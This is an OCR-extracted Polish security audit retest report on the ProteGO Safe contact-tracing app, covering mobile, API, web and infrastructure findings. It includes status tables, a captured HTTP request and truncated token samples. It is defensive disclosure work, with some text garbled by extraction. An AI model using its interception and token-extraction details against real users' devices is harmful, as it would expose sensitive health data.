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securiTtum

Podsumowanie prac

Niniejszy raport jest podsumowaniem retestow bezpieczenstwa wybranej grupy audytéw
przeprowadzonych uprzednio przez firme Securitum. Przedmiotem powtérnego sprawdzenia byty:

e Testy bezpieczenstwa aplikacji mobilnej ProteGO Safe na platformy Android oraz iOS
(blackbox),

e Testy bezpieczenstwa APl mobilnego (blackbox),

o Testy bezpieczenstwa aplikacji webowej ProteGO Safe (blackbox),

¢ Analiza kodu zrodtowego aplikacji webowej (whitebox),

o Testy bezpieczenstwa elementéw infrastruktury uzywanej przez aplikacje (blackbox).

Podczas audytow ww. elementow nie znaleziono podatnosci krytycznych ani wysokich.
Najistotniejsze z pozostatych znalezionych podatnosci tyczg sie wytgcznie aplikacji webowej i sg to:

e Mozliwos¢ wycieku statusu ryzyka infekcji uzytkownika do zewnetrznych domen poprzez
sklonienie go do odwiedzenia strony internetowej kontrolowanej przez atakujgcego
(PROTEGO_SAFE-WEB-001, PROTEGO_SAFE-WEB-002),

e Klucz API Infermedica dostepny w repozytorium aplikacji (PROTEGO_SAFE-KOD-WEB-
001),

e ,Test oceny ryzyka” jako funkcjonalnos¢ online (PROTEGO_SAFE-WEB-003).

Podatnosci PROTEGO_SAFE-WEB-001, PROTEGO_SAFE-WEB-002, PROTEGO_SAFE-KOD-
WEB-001 zostaty poprawione lub czesciowo poprawione. Ponadto, zgodnie z deklaracjg otrzymang
od zespotu Klienta, aplikacja webowa zostata w catosci wdrozona w aplikacjach mobilnych w wersji
lokalnej, nie odwotujgcej sie do aplikacji wskazanej w domenie safesafe.app i pod tym adresem
zostata umieszczona strona HTML wraz z informacjg o projekcie i linkami do sklepéw Google Play
i Apple App Store, gdzie uzytkownik moze pobrac aplikacje na swadj telefon. Podatnosci wymienione
w rozdziatach ,Podatnosci w aplikacji webowej (safesafe.app)” oraz ,Podatnosci w kodzie
zrodtowym aplikacji webowej (safesafe.app)” nie sg w takiej sytuacji diuzej aktualne.

W trakcie audytu szczegdlny nacisk potozono na podatnosci majgce lub moggce mie¢ negatywny
wplyw na poufnosé, integralnos¢ oraz dostepnosé przetwarzanych danych. Testy bezpieczenstwa
przeprowadzono zgodnie z powszechnie przyjetymi metodykami testowania aplikacji webowych,
takimi jak: OWASP TOP10 czy (w wybranym zakresie) OWASP ASVS 4.0, jak réwniez
wewnetrznymi metodykami przeprowadzania testow bezpieczenstwa firmy Securitum.

Celem testéow nie byta analiza aspektow prywatnosci, a wykrycie potencjalnych podatnoSci
bezpieczenstwa.

Analiza aplikacji mobilnych nie obejmowata przegladu i testow komunikacji za posrednictwem
Bluetooth, rowniez w przypadku mechanizmu Exposure Notification.



Ponadto, w tej iteracji testdw nie objeto analizy kodu Zzrédtowego aplikacji mobilnych,
co zaplanowano na kolejny etap.

Nalezy rowniez zauwazy¢, iz funkcjonalnos¢ Exposure Notification na dzien przeprowadzenia
audytu nie jest wspierana przez wszystkie telefony z systemem Android, co moze mie¢ wptyw na
wykluczenie niektorych uzytkownikow z obszaru jej dziatania. Ponadto, w przysztosci w momencie
jej udostepnienia na starsze wersje, moze to mie¢ implikacje dot. bezpieczenhstwa, w tym obecnie
nieznane.

W ramach audytu wykorzystano podejscie polegajgce na testach manualnych opartych
o wymienione wyzej metodyki, jak i wsparcie tych czynnosci szeregiem narzedzi automatycznych,
m.in.: Burp Suite Professional, ffuf, Frida, Objection, Clutch, Drozer, OWASP Dependency Check,
nmap.

Podatnosci zostaly szczegotowo opisane w dalszej czesci raportu.

Klasyfikacja podatnosci

Podatnosci zostaty sklasyfikowane w pieciostopniowej skali odzwierciedlajgcej zaréwno
prawdopodobienstwo znalezienia podatnosci, jak i istotnos¢ skutkow jej wykorzystania. Ponizej
zawarto krotki opis kazdego z pozioméw istotnosci:

e CRITICAL (podatnos$¢ krytyczna) — wykorzystanie podatnosci umozliwia przejecie petnej
kontroli nad serwerem lub urzadzeniem sieciowym albo pozwala uzyskac¢ dostep (w trybie
zapisu i/lub odczytu) do danych o duzym poziomie poufnosci i istotnosci. Zazwyczaj
podatnosc¢ jest tez fatwa do wykorzystania, tj. nie wymaga od napastnika posiadania dostepu
do systemow, ktére sg trudne do zdobycia, lub przeprowadzania atakéw socjotechnicznych.
Podatnosci oznaczone jako CRITICAL powinny by¢ naprawione bezzwtocznie, jesli
wystepujg na srodowisku produkcyjnym.

¢ HIGH (podatnos¢ o wysokim poziomie istotnosci) — wykorzystanie podatnosci pozwala na
uzyskanie dostepu do wrazliwych informaciji (podobnie jak przy poziomie krytycznym), jednak
moze wczesniej wymagac spetnienia pewnych warunkéw (np. posiadania konta uzytkownika
w wewnetrznym systemie) w celu praktycznego wykorzystania. Alternatywnie: podatnosc
moze zostacC w fatwy sposob wykorzystana, jednak ograniczone sg jej skutki.

e MEDIUM (podatnos¢ o $rednim poziomie istotnosci) — wykorzystanie podatnosci moze
zaleze¢ od zewnetrznych czynnikdéw (np. wymaga przekonania uzytkownika do klikniecia w
tacze) lub moze wymaga¢ trudnych do spetnienia warunkéw. Ponadto wykorzystanie
podatnosci zazwyczaj umozliwia dostep tylko do ograniczonej ilosci danych lub do danych
0 mniejszym poziomie istotnosci.

e LOW (podatno$¢ o niskim poziomie istotnosci) — wykorzystanie podatnosci ma niewielki
bezposredni wplyw na bezpieczehstwo aplikacji lub wymaga bardzo trudnych warunkéw do
spetnienia (np. fizyczny dostep do serwera).

® INFO (ogodlne zalecenia lub informacja) — punkty oznaczone poziomem INFO nie sg
podatnosciami bezpieczenstwa. Wskazujg jednak dobre praktyki, ktdrych zastosowanie
pozwala zwiekszy¢ ogoiny poziom bezpieczenstwa aplikacji. Alternatywnie: zwracajg uwage
na pewne rozwigzania w aplikacji (np. architektoniczne), ktérych zmiana pozwoli uszczelni¢
aplikacje.



Zestawienie statystyczne

Zestawienie statystyczne znalezionych podatnosci i rekomendaciji po testach bazowych:

Krytyczne zagrozenie
Wysokie zagrozenie
Srednie zagrozenie
Niskie zagrozenie

Ogodlne zalecenia

Zestawienie podatnosci i rekomendacji niewyeliminowanych w petni po drugiej iteracji retestow,
bez czesci webowej i jej kodu (17.07.2020):

Krytyczne zagrozenie
Wysokie zagrozenie
Srednie zagrozenie
Niskie zagrozenie

Ogodlne zalecenia

Statystyka po retestach nie uwzglednia podatnosci i rekomendacji dotyczgcych aplikacji webowe;j
i kodu zrodtowego, ze wzgledu na otrzymanie informacji od klienta o jej wytaczeniu (podatnosci
wskazane w poprzedniej wersji raportu oznaczone jako nieaktualne).

Testowane wersje (testy bazowe)
Testy bezpieczenstwa przeprowadzono w dniach 8-12 maja 2020 roku (etap 1) oraz 15-21 czerwca
2020 roku (etap 3). Audyt przeprowadzono na nastepujgcych wersjach:

o Aplikacje mobilne przetestowano na nastepujgcych produkcyjnych wersjach aplikacji:

o Android - ProteGo Safe 4.2.0 (build 34) - SHA256:
1dc634fb31dc91aded2c5a8617f77860ad5a4de43dcd9e210657193791141acs

o i0S - ProteGo Safe 4.2.0 (build 297) - SHA256:
64d56f0a0bcf22f99c8a97f28c4f2f21d83f29ebdd8ec325e07761866a6d7551

o Testy bezpieczenstwa APl mobilnego wykonano na wersji dostepnej w dniach 15-21 czerwca
2020 r.

e Testy aplikacji webowej wykonano na wersji dostepnej publicznie pod adresem safesafe.app
w dniach 9-11 maja 2020 r.



e Analize kodu zrodtowego aplikacji webowej przeprowadzono na aplikacji w wers;ji 3.0.

e Testom infrastruktury podlegat adres api.safesafe.app, w wersji dostepnej w dniach 9-12
maja 2020 r.

Status po retescie
Retest #1 (7.07.2020 — 9.07.2020)

W dniach 7 — 9 lipca 2020 roku przeprowadzono retesty wszystkich wczesniej zidentyfikowanych
podatnosci (oznacza to, iz aplikacja nie byla ponownie w peini testowana,
a sprawdzono jedynie, czy btedy wykryte w poprzednich etapach testow zostaty naprawione).

Retest #2 (16.07.2020 - 17.07.2020)
W dniach 16 — 17 lipca 2020 wykonano drugg iteracje retestow:

¢ Retest dwdch podatnosci: PROTEGO_SAFE-MOB-10S-006 oraz PROTEGO_SAFE-MOB-
10S-007,

e Aktualizacja statuséw wybranych podatnosci na bazie informacji otrzymanych od klienta,

e Aktualizacja sekcji zwigzanej z aplikacja webowg i kodem zrodtowym w zwigzku
z otrzymaniem informacji od klienta o jej wytaczeniu (podatnosci wskazane w poprzedniej
wersji raportu oznaczone jako nieaktualne).



Ponizej znajdujg sie tabele zawierajgce wyniki retestéw:

e aplikacja mobilna (iOS)
a) Retest #1 (09.07.2020): wykonano na produkcyjnej wersji aplikacji mobilnej: iOS —

ProteGo

Safe 421

(build 326)

- SHA256:

09996e1b2075b9553ba401409d6171365f05ec6a3c91a261086¢c92bf0dbabb8c

b) Retest #2 (17.07.2020): wykonano na produkcyjnej wersji aplikacji mobilnej: iOS —

ProteGo Safe 4.2.2 (build 327) — SHA256:

4ca47cd7fcOfb1e85b8a9b22d77c06616beec54bf75ba176b2146975b5b378a1

STATUS STATUS
IDENTYFIKATOR TYTUE (09.07.2020) (17.07.2020)
PROTEGO_SAFE- cert ?rkzi:é?/:/nvr\]/lggﬁkac'i Podatnos¢ zostata Podatnos¢ zostata
MOB-10S-001 y mobilnej P ] wyeliminowana wyeliminowana

PROTEGO_SAFE-
MOB-10S-002

Brak wymogu podania
kodu PIN do
zalogowania sie w
aplikaciji

Punkt nie byt
weryfikowany

Punkt nie byt
weryfikowany

PROTEGO_SAFE-
MOB-I0S-003

Przechowywanie
nadmiarowych danych
na urzgdzeniu mobilnym

Podatnos¢ nie
zostata
wyeliminowana

Zalecenie nie zostato
wdrozone

PROTEGO_SAFE-
MOB-10S-004

Brak maskowania
ekrandw aplikaciji
podczas minimalizacji
aplikaciji

Podatnos¢ zostata
wyeliminowana

Podatnos¢ zostata
wyeliminowana

PROTEGO_SAFE-
MOB-I0S-005

Mozliwos¢ kopiowania
danych z aplikacji do
schowka

Punkt nie byt
weryfikowany

Punkt nie byt
weryfikowany

PROTEGO_SAFE-
MOB-10S-006

Mozliwos¢ wykonywania
zrzutow ekranu i
nagrywania filméw

Zalecenie nie zostato
wdrozone

Zalecenie zostato
czesciowo wdrozone

PROTEGO_SAFE-
MOB-I0S-007

Ujawnianie
nadmiarowych informaciji
w ciggach znakow
aplikaciji

Zalecenie nie zostato
wdrozone

Zalecenie nie
zostato wdrozone

PROTEGO_SAFE-

Wdrozenie nagtowkow
odpowiadajgcych za

Zalecenie nie zostato

Nieaktualne

MOB-I0S-008 Cache aplikacji PWA wdrozone
Wdrozenie nagtowka I
PROTEGO_SAFE- Referrer-Policy dla Zalecenie nie zostato Nieaktualne

MOB-10S-009

aplikacji PWA

wdrozone




o aplikacja mobilna (Android)
a) Retest #1 (09.07.2020): retesty wykonano na produkcyjnej wersji aplikacji mobilnej:

Android -

ProteGo Safe

4.2.1 (build

60) -  SHA256:

518503298cf883ee31b7e38415¢c5d062ae45d3d1fa7327f10275f360abd534dd

b) Retest #2 (17.07.2020): aplikacja w wersji na platforme Android nie podlegata drugiej
iteracji retestow, jednak w porozumieniu i na podstawie informacji pozyskanych od klienta
dokonano aktualizacji statusow podatnosci i rekomendac;i

IDENTYFIKATOR

TYTUL

STATUS
(09.07.2020)

STATUS
(17.07.2020)

PROTEGO_SAFE-
MOB-ANDROID-
001

Brak wymogu podania
kodu PIN do
zalogowania sie w
aplikaciji

Punkt nie byt
weryfikowany

Punkt nie byt
weryfikowany

PROTEGO_SAFE-

Przechowywanie

Podatnosé nie

Zalecenie nie zostato

MOB-ANDROID- nadmiarowych dar)ych ;ogta’:a wdrozone
002 na urzgdzeniu mobilnym wyeliminowana
PROTEGO_SAFE- Mozliwo$¢ kopiowania . .
MOB-ANDROID- | danych z aplikacji do punic mie byl punic mie byl
003 schowka i y i y
PROTEGO_SAFE- :
MOB-ANDROID- | Brak zaciemniania kodu Punkt nie byt Nieaktualne
004 weryfikowany
PROTEGO_SAFE- | Wdrozenie nagtowkow I
MOB-ANDROID- | odpowiadajacychza | Z21°8ne ie zostalo Nieaktualne
005 Cache aplikacji PWA
PROTEGO_SAFE- Wdrozenie nagtowka Zalecenie nie zostato
MOB-ANDROID- Referrer-Policy dla wdrozone Nieaktualne
006 aplikacji PWA

e API mobilne

a) Retest #1 (09.07.2020): retesty wykonano na APl w wersji dostepnej w dniach 7-9 lipca

2020 .

b) Retest #2 (17.07.2020): aktualizacja statuséw podatnosci i rekomendacji na podstawie
informacji przekazanych przez klienta

IDENTYFIKATOR

TYTUL

STATUS
(09.07.2020)

STATUS
(17.07.2020)

PROTEGO_SAFE-
API-GAT-001

Ominigcie ograniczen
prob PIN oraz
mozliwo$¢ wykonania
ataku sitowego na
formularz PIN

Zalecenie zostato
czesciowo wdrozone

Zalecenie zostato
czesciowo wdrozone




PROTEGO_SAFE-
API-GAT-002

Ujawnianie
nadmiarowych informaciji
o Srodowisku w
nagtéwkach odpowiedzi
http

Punkt nie byt
weryfikowany

Nieaktualne

PROTEGO_SAFE-
API-GAT-003

Nieprawidtowo
wdrozony nagtowek
Strict-Transport-Security

Zalecenie zostato
wdrozone

Zalecenie zostato
wdrozone

PROTEGO_SAFE-
API-GAT-004

Wdrozenie nagtowkow
odpowiadajgcych za
Cache aplikaciji

Zalecenie zostato
czesciowo wdrozone

Zalecenie zostato
czesciowo wdrozone

PROTEGO_SAFE-
API-GAT-005

Brak ochrony przed
atakiem Clickjacking

Zalecenie zostato
czesciowo wdrozone

Zalecenie zostato
czesciowo wdrozone

PROTEGO_SAFE-
API-GAT-006

Wdrozenie nagtowka X-
Content-Type-Options

Zalecenie zostato
wdrozone

Zalecenie zostato
wdrozone

PROTEGO_SAFE-
API-GAT-007

Dostep do aplikaciji z
anonimowej sieci TOR

Punkt nie byt
weryfikowany

Punkt nie byt
weryfikowany

o aplikacja webowa (safesafe.app)
a) Retest #1 (09.07.2020): retesty wykonano na aplikacji w wersji publicznie dostepnej 8 lipca

2020 .

b) Retest #2 (17.07.2020): podatnosci wymienione w sekcji ,Podatnosci w aplikacji webowej
(safesafe.app)”’ nie sg diuzej aktualne. Wszystkie zostaty oznaczone jako ,nieaktualne”.

STATUS STATUS
IDENTYFIKATOR TYTUE (09.07.2020) (17.07.2020)
Mozliwos¢ wycieku Nieaktualne
PROTEGO_SAFE- statusu ryzyka infekgiji Podatnos¢ zostata
WEB-001 uzytkownika do wyeliminowana
zewnetrznych domen
PROTEGO_SAFE- Brak nagtéwka X- Podatnos¢ zostata Nieaktualne
WEB-002 Frame-Options wyeliminowana
PROTEGO_SAFE- | ,Test oceny ryzyka” jako Podzaotg;sig nie Nieaktualne
WEB-003 funkcjonalnos$c¢ online wyeliminowana
Brak zabezpieczenia Podatnosé nie Nieaktualne
PROTEGO_SAFE- informacji sostata
WEB-004 przechowywanych limi
w Local Storage wyeliminowana
Podatnos¢ zostata Nieaktualne

PROTEGO_SAFE-
WEB-005

Brak nagtéwka Referrer-
Policy

czesciowo
wyeliminowana




PROTEGO_SAFE-

Nadmiarowe pole w

Zalecenie nie zostato

Nieaktualne

WEB-006 formularzu wdrozone

PROTEGO_SAFE- Wcz;;g/\)/vvr?ntlrezskg]ptow Zalecenie nie zostato Nieaktualne
WEB-007 vynetrznyeh wdrozone

podmiotéw trzecich

PROTEGO_SAFE- Domvéine oliki aplikacii Zalecenie nie zostato Nieaktualne
WEB-008 omysine plikt apiikacy wdrozone

PROTEGO_SAFE- Wdrozenie nagtowka Zalecenie nie zostato Nieaktualne
WEB-009 Content-Security-Policy wdrozone

o kod zrédtowy aplikacji webowej (safesafe.app)
a) Retest #1 (09.07.2020): retesty wykonano na aplikacji w wersji 4.2.1

b) Retest #2 (17.07.2020): Podatnosci wymienione w sekcji ,Podatnosci w kodzie zrodiowym

aplikacji webowej (safesafe.app)” nie sg dtuzej aktualne. Wszystkie zostaty oznaczone jako

,hieaktualne”.

IDENTYFIKATOR

TYTUL

STATUS
(09.07.2020)

STATUS
(17.07.2020)

PROTEGO_SAFE-
KOD-WEB-001

Klucz API Infermedica
dostepny
w repozytorium aplikaciji

Podatnos¢ zostata
czesciowo
wyeliminowana

Nieaktualne

PROTEGO_SAFE-
KOD-WEB-002

Nieaktualna wersja
uzytej biblioteki

Podatnos¢ nie
zostata
wyeliminowana

Nieaktualne

PROTEGO_SAFE-
KOD-WEB-003

Logger aplikacji wpisuje
do logow zbyt wiele
informacji

Zalecenie nie zostato
wdrozone

Nieaktualne

o infrastruktura sieciowa

a) Retest #1

(09.07.2020):

v4.safesafe.app, w stanie na dzien 9 lipca 2020 r.
b) Retest #2 (17.07.2020): retest nie byt realizowany

retestom podlegaly adresy api.safesafe.app oraz api-

IDENTYFIKATOR

TYTUL

STATUS
(09.07.2020)

STATUS
(17.07.2020)

PROTEGO_SAFE-
INFRA-001

Ustalenie adresu IP
serwera zrédtowego

Zalecenie zostato
wdrozone

Zalecenie zostato
wdrozone

PROTEGO_SAFE-
INFRA-002

Hardening ustugi SSH

Zalecenie zostato
wdrozone

Zalecenie zostato
wdrozone

PROTEGO_SAFE-
INFRA-003

Weryfikacja nagtéwka
Host

Zalecenie zostato
wdrozone

Zalecenie zostato
wdrozone
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Historia zmian

Data Wersja Opis zmiany
dokumentu
18.07.2020 1.1 Zaktualizowano rozdziat ,Podsumowanie prac” i uzupetniono
o sekcje ,Retest #2 (16.07.2020 - 17.07.2020)".
Dodano sekcje ,Status (17.07.2020)” do:
e podatnosci: PROTEGO_SAFE-MOB-10S-002,
PROTEGO_SAFE-MOB-I0S-003, PROTEGO_SAFE-
MOB-10S-005, PROTEGO_SAFE-MOB-10S-008,
PROTEGO_SAFE-MOB-10S-009,
e wszystkich podatnosci w rozdziale ,Podatnosci w
aplikacji mobilnej (Android)”
e podatnosci: PROTEGO_SAFE-API-GAT-002,
o wszystkich podatnosci w rozdziale ,Podatnosci w
aplikacji webowej (safesafe.app)’,
o wszystkich podatnosci w rozdziale ,Podatnosci w
kodzie zrédtowym aplikacji webowej (safesafe.app)’.
Dodano sekcje ,Status po retescie (17.07.2020)" do
podatnosci:
¢ PROTEGO_SAFE-MOB-10S-006,
¢ PROTEGO_SAFE-MOB-10S-007.
12.07.2020 1.0 Finalna wersja dokumentu stanowigca kompilacje raportow

czagstkowych z poszczegolnych etapdéw pracy:

e elementy etapu 1:

o Podatnosci w aplikacji webowej,

e Podatnosci w kodzie zrédtowym aplikacji webowej,
e Podatnosci w infrastrukturze sieciowej,

e elementy etapu 2:

e brak,

e elementy etapu 3:

e Podatnosci w aplikacji mobilnej (Android),

e Podatnosci w aplikacji mobilnej (iOS),

e Podatnosci w API.




Dodatkowo wprowadzono nastepujgce zmiany:

Zaktualizowano opis podatnosci PROTEGO_SAFE-
WEB-005, sekcja: ,Warunki niezbedne do
wykorzystania podatnosci”.

Zaktualizowano dokument o wyniki retestow
wszystkich podatnosci. Dodano sekcje: ,Status po
retescie (09.07.2020)” w opisie kazdej podatnosci.




securitum

Podatnosci w aplikacji mobilnej (I0S)

+48 (12) 361 3337
securitum@securitum.pl

www.securitum.pl
www.sekurak.pl

15



[FIXED] [LOW] PROTEGO_SAFE-MOB-I0S-001: Brak pinningu
certyfikatow w aplikacji mobilnej

oriIs

Aplikacja nie posiada zaimplementowanego mechanizmu pinningu certyfikatow. Jest to mechanizm
zezwalajgcy aplikacji mobilnej na prawidiowe dziatanie i komunikacje z serwerem aplikacji tylko
wtedy, gdy potaczenie zostato nawigzane z serwerem identyfikujgcym sie poprawnym certyfikatem
SSL/TLS. Aplikacja bedzie dziatata jedynie w przypadku zaufanego i zweryfikowanego potgczenia z
serwerem aplikacji. Ztosliwe aplikacje przekierowujgce ruch z urzgdzenia mobilnego na serwer proxy
nie bedg mogty odczyta¢ szyfrowanej komunikacji HTTP aplikacji mobilnej.

Wiecej informaciji:

e https://developer.android.com/training/articles/security-ssl#Pinning

e https://owasp.org/www-community/controls/Certificate and Public Key Pinning

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Zainstalowanie ztosliwego certyfikatu na urzgdzeniu oraz skuteczne przeprowadzenie ataku Man-
in-the-Middle.

LOKALIZACIA

Aplikacja mobilna ProteGo Safe na platforme iOS (4.2.0).

SzCzZEGOLY TECHNICZNE

Po zainstalowaniu wiasnego certyfikatu na urzgdzeniu i ustawieniu serwera proxy, mozliwe jest
catkowite podejrzenie i modyfikowanie w locie ruchu aplikacji (np. przy pomocy oprogramowania
Burp Suite):

# ¥ | Host | Method URL | Params Edited | Status | Length | MIME type | Extension
14 https://gat.safesafe.app POST /getAccessToken v 404 811 JSON

8 https://exp.safesafe.app GET //index.txt 304 589 text txt

AN

Request [ Response
Raw ParamsTHeaders Hex CSTC]

1 GET //index.txt HTTP/1.1
2 Host: exp.safesafe.app
3 Cookie: _ cfduid=d0254b9055c9f6ce3cafb5c62d1cf86381592585249
4 If-None-Match: "f03d7c6bd80793ad363c2b562e27de25"
5 Accept: */*
6 If-Modified-Since: Sat, 20 Jun 2020 02:01:00 GMT
User-Agent: safesafe/4.2.0 (pl.gov.mc.protegosafe; build:297; iOS 13.5.0)
8 Accept-Language: pl-PL;g=1.0
9 Accept-Encoding: gzip, deflate
Connection: close

REKOMENDACIA

Zaleca sie zaimplementowa¢ mechanizm pinningu certyfikatow w aplikacji.




STATUS PO RETESCIE (09.07.2020)

Podatnosé¢ zostata wyeliminowana.

W aplikacji poddanej retestom pinning certyfikatéw zostat wdrozony.



[NOT VERIFIED] [LOW] PROTEGO_SAFE-MOB-I0S-002: Brak wymogu
podania kodu PIN do zalogowania sie w aplikacji

oriIs

Aplikacja nie wymusza podania kodu dostepu do urzgdzenia (np. kod blokady ekranu) w celu
uwierzytelnienia uzytkownika. Atakujgcy, ktory uzyska dostep do urzgdzenia uzytkownika, bedzie
maogt uruchomi¢ aplikacje uzytkownika-ofiary i dziata¢ w jego imieniu (m.in. pozna¢ wynik ,Testu
oceny ryzyka” oraz dziennik zdrowia).

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Fizyczny dostep do urzadzenia.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Aplikacja nie wymaga podania kodu PIN. Po jej uruchomieniu od razu widoczny jest panel
uzytkownika z wynikiem ,Testu oceny ryzyka™:

Brak 02:50 -
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LOKALIZACIA

Aplikacja mobilna ProteGo Safe na platforme iOS (4.2.0).

REKOMENDACIA

Aplikacja, podczas uruchamiania, powinna wymusza¢ na uzytkowniku podawanie kodu
dostepowego (np. PIN/hasto) na urzadzeniu mobilnym. Pozwoli to na podniesienie poziomu
bezpieczehstwa urzgdzen mobilnych, na ktérych instalowana jest aplikacja. Nowoczesne mobilne
systemy operacyjne posiadajg wtgczone szyfrowanie danych, gdy wtgczony jest kod blokady ekranu.




STATUS PO RETESCIE (09.07.2020)

Punkt nie byt weryfikowany.

Zgodnie z informacjg otrzymang od zespotu Klienta, w kolejnych etapach prac rozpatrzona zostanie
mozliwos¢ implementacji wskazanej rekomendacji.

STATUS (17.07.2020)

Ponizej zaprezentowano uzupetnienie poprzednich informacji, otrzymanych od zespotu Klienta:

W obecnej wersji aplikacji nie zdecydowano sie na wprowadzenie wskazanej rekomendacji ze
wzgledu na to, Ze moze mie¢ negatywny wplyw na uzywalnos$¢ aplikacji (poprzez notoryczne
odpytywanie o kod PIN, niektore osoby z grupy docelowej mogg mie¢ problemy z wprowadzaniem
ciggu znakéw). W kolejnych etapach prac rozpatrzona zostanie mozliwo$¢ implementacji
zalecenia, poprzedzona analizg i dyskusjg jej wptywu na odbior aplikacji.




[NOT IMPLEMENTED] [INFO] PROTEGO_SAFE-MOB-10S-003:
Przechowywanie nadmiarowych danych na urzadzeniu mobilnym

oriIs

Aplikacja mobilna przechowuje w pamieci masowej urzgdzenia mobilnego nadmiarowe dane, ktére
mogg utatwi¢ napastnikom przeprowadzanie innych atakéw.

Na urzadzeniu w postaci jawnej przechowywane sg dane:

e Token dostepowy (authToken),
e Token stuzgcy do odswiezenia tokenu dostepowego (refreshToken).

W czasie testéw nie wykryto, aby tokeny byty uzywane przez aplikacje- nalezy zweryfikowac, czy
powinny one znajdowac sie na urzadzeniu.

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Fizyczny dostep do urzadzenia lub uprawnienia root.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Ponizej przedstawiono przyktadowe dane pozyskane z niezaszyfrowanej bazy SAQLite (plik
/var/mobile/Containers/Data/Application/7AC1BAF8-33FE-4325-AAB0O-

SFE1E3134B11/Library/Caches/pl.gov.mc.protegosafe/Cache.db), W ktérej znajdujg sie m.in. token
dostepowy (authToken) oraz token stuzgcy do od$wiezenia sesji (refreshToken):

{
"name": "projects/466787798978/installations/ec[..]mH",
"fid": "ec[..]JmH",
"refreshToken": "2 _Vn[..]hE",
"authToken": {
"token": "ey[..]39.ey[..]fQ.AB[..]9g",
"expiresIn": "604800s"[...]
}
}
LOKALIZACIA

Aplikacja mobilna ProteGo Safe na platforme Android (4.2.0) — baza SQLite:
/var/mobile/Containers/Data/Application/7AC1BAF8-33FE-4325-AAB0O-
SFE1E3134B11/Library/Caches/pl.gov.mc.protegosafe/Cache.db

REKOMENDACIA

Na urzadzeniu nie powinien by¢ przechowywany token uzytkownika w jakiejkolwiek postaci (jawnej,
zaszyfrowanej ani zahaszowanej). Bazy danych SQLite powinny by¢ zaszyfrowane, a dostep do
nich powinien by¢ zabezpieczony hastem.




STATUS PO RETESCIE (09.07.2020)

Podatnosé¢ nie zostata wyeliminowana.

Zgodnie z informacjg otrzymang od zespotu Klienta, dane przechowywane sg przez Firebase SDK
i nie ma mozliwosci wptywu na nie.

STATUS (17.07.2020)

Poziom ryzyka podatnosci zostal zmieniony na informacyjny z uwagi na modernizacje i
zmiane sposobu dziatania aplikacji.



[FIXED] [LOW] PROTEGO_SAFE-MOB-I0S-004: Brak maskowania
ekranow aplikacji podczas minimalizacji aplikacji

oriIs

Analiza wykazata, Ze aplikacja przetwarza dane szczegdlnie wrazliwe. Jednoczesnie, gdy
uzytkownik zminimalizuje aplikacje, podczas gdy na ekranie znajdujg sie dane uzytkownika,
urzgdzenie wykona zrzut ekranu i zapisze je (w pliku miniatury).

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Dostep do urzadzenia ofiary (fizyczny lub z poziomu innej aplikacji mogacej wykonywac zrzuty
ekranu).

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Ponizej zamieszczono przykfadowy zrzut ekranu:

'L ProteGO Safe

'B ProteGO Safe
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wytaczone >
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Twoje odpowiedzi.
Wynik testu

7 20-06-2020
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ryzyko infekgji.

/A\ Zadzwon na infolinig
% 222500 115

LOKALIZACIA

Aplikacja mobilna ProteGo Safe na platforme iOS (4.2.0).

REKOMENDACIA

Zaleca sie zamienia¢ zrzut/miniature aplikacji na inng, dedykowang grafike (np. logo firmy).



STATUS PO RETESCIE (09.07.2020)

Podatnosé¢ zostata wyeliminowana.

W aplikacji poddanej retestom w momencie przetgczania pomiedzy aplikacjami ekran jest
maskowany.



[NOT VERIFIED] [LOW] PROTEGO_SAFE-MOB-I0S-005: Mozliwos¢
kopiowania danych z aplikacji do schowka

oriIs

W aplikacji mozliwe jest korzystanie z funkcji schowka (ang. clipboard), ktory jest wspétdzielony
przez wszystkie aplikacje zainstalowane na urzgdzeniu. Uzytkownik moze skopiowac dowolne dane
znajdujgce sie w aplikacji do schowka, przez co inne aplikacje bedg miaty dostep do potencjalnie
wrazliwych danych uzytkownika.

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Zainstalowanie na urzgdzeniu ztosliwej aplikacji przechwytujgcej zawartosé schowka.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

W trakcie testu mozliwe byto podstuchanie danych skopiowanych do schowka:

Securitum,
przeanalizowalismy Twoje odpowiedzi. Wynik testu z 20-06-2020 kwalifikuje Cie do grupy: Wysokie
ryzyko infekcji.

LOKALIZACIA

Aplikacja mobilna ProteGo Safe na platforme iOS (4.2.0).

REKOMENDACIA

Zaleca sie wytaczy¢ funkcje schowka w miejscach, w ktérych przetwarzane sg i wyswietlane
wrazliwe dane.

STATUS PO RETESCIE (09.07.2020)

Punkt nie byt weryfikowany.

Zgodnie z informacjg otrzymang od zespotu Klienta, w kolejnych etapach prac rozpatrzona zostanie
mozliwos¢ implementacji wskazanej rekomendacji.

STATUS (17.07.2020)

Ponizej zaprezentowano uzupetnienie poprzednich informaciji, otrzymanych od zespotu Klienta:

W obecnej wersji aplikacji nie zdecydowano sie na wprowadzenie wskazanej rekomendacji ze
wzgledu na to, ze moze mie¢ negatywny wptyw na uzywalno$c aplikacji (poprzez zablokowanie
mozliwosci skopiowania do schowka istotnych informacji podawanych przez aplikacje jak
zalecenia ogdlne czy dane teleadresowe stacji sanitarno-epidemiologicznych i szpitali zakaznych,
do ktoérych kontakt jest podany w aplikacji). W kolejnych etapach prac rozpatrzona zostanie
mozliwo$c implementacji zalecenia, poprzedzona analizg i dyskusjg jej wptywu na odbior aplikacji.




[PARTIALLY IMPLEMENTED] [INFO] PROTEGO_SAFE-MOB-10S-006:
Mozliwos¢ wykonywania zrzutdw ekranu i nagrywania filmow

oriIs

Testowana aplikacja przetwarza wrazliwe dane. W momencie przeglgdania przez uzytkownika tego
typu danych, inna aplikacja moze zrobi¢ zrzut ekranu (lub nagra¢ wideo), tak aby zapisac je na
urzgdzeniu lub wystac na serwer atakujgcego. Naraza to uzytkownika na ryzyko wycieku poufnych
informacii.

Punkt nie jest opisem podatnosci, a jedynie zaleceniem, ktérego wdrozenie moze zwiekszy¢ ogdlny
poziom bezpieczenstwa rozwigzania.

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Zainstalowanie ztosliwej aplikacji na urzadzeniu.

